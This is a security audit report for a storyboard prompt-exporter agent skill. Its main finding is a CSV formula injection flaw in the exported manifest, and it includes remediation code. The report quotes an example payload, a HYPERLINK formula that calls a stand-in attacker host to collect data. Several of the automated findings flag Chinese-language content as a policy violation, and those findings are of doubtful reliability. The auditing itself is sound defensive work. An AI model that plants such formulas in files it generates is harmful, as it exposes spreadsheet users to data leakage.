Back to skill

Security audit

Short Drama Storyboard Pipeline · 短剧分镜提示词流水线

Security checks for vulnerabilities and agentic risk

Overview

This skill is a coherent short-drama prompt-pack exporter with one spreadsheet-safety caveat in generated CSV manifests.

Install is reasonable for users who want a local prompt-generation workflow. Treat storyboard CSVs from other people as untrusted, and avoid opening generated manifest.csv files in spreadsheet software unless formula-leading cells have been neutralized or the input source is trusted. The optional Pro link is external and not needed for the reviewed free skill.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/export_prompts.py:180
Finding
CSV Formula Injection in Exported Manifest## Vulnerability Details **File Location**: `scripts/export_prompts.py`, lines 180–183 and 192–196 **Vulnerability Type**: CSV formula injection **Risk Level**: Medium ### Complete Code Snippet ```python made.append({"shot_id": sid, "scene": common["scene"], "shot_size": common["shot_size"], "camera_move": r.get("camera_move", ""), "duration_s": common["duration"], "characters": r.get("characters", ""), "frame_mode": fm, "model": model, "image_file": f"{sid}.image.txt", "video_file": vf, "status": "todo"}) ``` ```python def write_manifest(manifest, outdir): cols = list(manifest[0].keys()) if manifest else ["shot_id"] with open(outdir / "manifest.csv", "w", encoding="utf-8-sig", newline="") as f: w = csv.DictWriter(f, fieldnames=cols) w.writeheader() w.writerows(manifest) (outdir / "manifest.json").write_text( json.dumps(manifest, ensure_ascii=False, indent=2), encoding="utf-8") ``` ### Technical Analysis Several values copied into `manifest.csv`, including `scene`, `shot_size`, `camera_move`, and `characters`, originate from the input storyboard CSV and are not neutralized before export. Python's `csv.DictWriter` correctly quotes CSV syntax but does not prevent spreadsheet applications from interpreting cell contents as formulas. An attacker-controlled value beginning with `=`, `+`, `-`, or `@` may therefore be evaluated as a formula when the generated manifest is opened in spreadsheet software. The existing `shot_id` validation and filename sanitization do not protect the other exported fields. For example, an attacker could place the following value in the input `scene` field: ```text =HYPERLINK("https://attacker.example/collect","Open storyboard") ``` The exporter would preserve it in `manifest.csv`, where spreadsheet software may treat it as an active formula. ### Attack Path 1. An attacker prepares or modifies a storyboard CSV containing a formula-leading payloa ...[truncated 1171 chars]
Remediation
## Remediation Suggestions Introduce a centralized CSV-cell neutralization function and apply it to every untrusted string written to `manifest.csv`: ```python def neutralize_csv_formula(value): text = str(value or "") if text.startswith(("=", "+", "-", "@")): return "'" + text return text ``` Before calling `writerows`, sanitize every field: ```python safe_manifest = [ {key: neutralize_csv_formula(value) for key, value in row.items()} for row in manifest ] w.writerows(safe_manifest) ``` Additional hardening measures: 1. Treat all user-controlled columns as potentially dangerous rather than maintaining a narrow field allowlist. 2. Consider rejecting formula-leading values during validation when they are not legitimate storyboard content. 3. Preserve unsanitized values in JSON only if downstream consumers require them; clearly document that JSON consumers must safely render untrusted content. 4. Add regression tests covering values beginning with `=`, `+`, `-`, and `@`, including values containing leading whitespace before those characters. 5. Test generated files in common spreadsheet applications to confirm that exported cells are displayed as literal text rather than evaluated formulas. 6. Document that manifests derived from untrusted storyboard files should not be opened in formula-enabled spreadsheet software until this protection is deployed.
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Findings (10)

Vague Triggers

Medium
Confidence
93% confidence
Finding
The README's quick-start phrase ('帮我把这段短剧剧本转成分镜表,目标模型海螺 H3,竖屏 9:16,然后批量导出提示词包。') is a broad natural-language request that overlaps with ordinary user intent rather than a narrowly scoped skill trigger. In agent ecosystems that auto-select skills from conversational text, such broad examples can cause this skill to activate unexpectedly on general screenplay or image/video-prompt requests, increasing the chance of unintended prompt transformation, data routing, or workflow hijacking.

Lp3

Medium
Category
MCP Least Privilege
Confidence
91% confidence
Finding
The skill explicitly instructs the agent to read local reference files and optionally write prompt packages via a Python export script, but it declares no tool scope or permissions boundary. In agents that honor skill metadata for capability control, this creates an implicit file read/write surface with no least-privilege constraints, increasing the chance of unintended access to unrelated local files or writes outside the expected output directory.

Natural-Language Policy Violations

Medium
Confidence
92% confidence
Finding
Line L11 states '输出语言:英文' as a fixed requirement for one model, which is a natural-language locale policy constraint. The file does not indicate that the user may choose another language or opt in to this constraint, so it appears to force a specific language.

Natural-Language Policy Violations

Medium
Confidence
89% confidence
Finding
Lines L52-L56 instruct that Runway uses English prompts and that anchor text must be translated to English. This is a language-forcing instruction presented as a blanket rule, with no opt-in flow or documented justification in the file.

Natural-Language Policy Violations

Medium
Confidence
94% confidence
Finding
Line L16 states `台词/旁白,保留原文语言`, which requires preserving the original language rather than allowing user selection or opt-in. This is a natural-language locale/language policy constraint and no justification or user choice is provided in the file.

Natural-Language Policy Violations

Low
Confidence
84% confidence
Finding
The markdown instructs that Hailuo H3 and Runway outputs must be in English, which is a language constraint stated as a requirement rather than a user choice. This can violate language/locale policy when the skill forces a specific language without explicit opt-in or a documented justification.

Natural-Language Policy Violations

Low
Confidence
80% confidence
Finding
The CSV entries explicitly specify all characters as "中国女性" and "中国男性," which imposes a fixed nationality/locale in natural-language content. Because this file provides no indication that the setting is intentionally region-specific or that users can opt into this locale constraint, it may conflict with the policy against forcing a specific language/locale without user choice.

Natural-Language Policy Violations

Low
Confidence
88% confidence
Finding
The CSV contains scene names and dialogue written in Chinese across multiple rows, with no accompanying note that language selection is optional or limited to a Chinese-only use case. Because SQP-3 applies to all file types and covers language/locale policy violations, this is a plausible forced-language constraint.

Natural-Language Policy Violations

Low
Confidence
95% confidence
Finding
This markdown file presents all instructions, examples, and operational guidance exclusively in Chinese. Under the stated policy, forcing a specific language without offering the user a language or locale choice is a natural-language policy violation.

Natural-Language Policy Violations

Low
Confidence
91% confidence
Finding
This markdown file presents all operational guidance in Chinese and does not indicate that users may choose another language or that the skill is intentionally limited to a Chinese-speaking audience. Under the language/locale policy criterion, forcing a single language without opt-in can be a policy concern.

Static analysis

No suspicious patterns detected.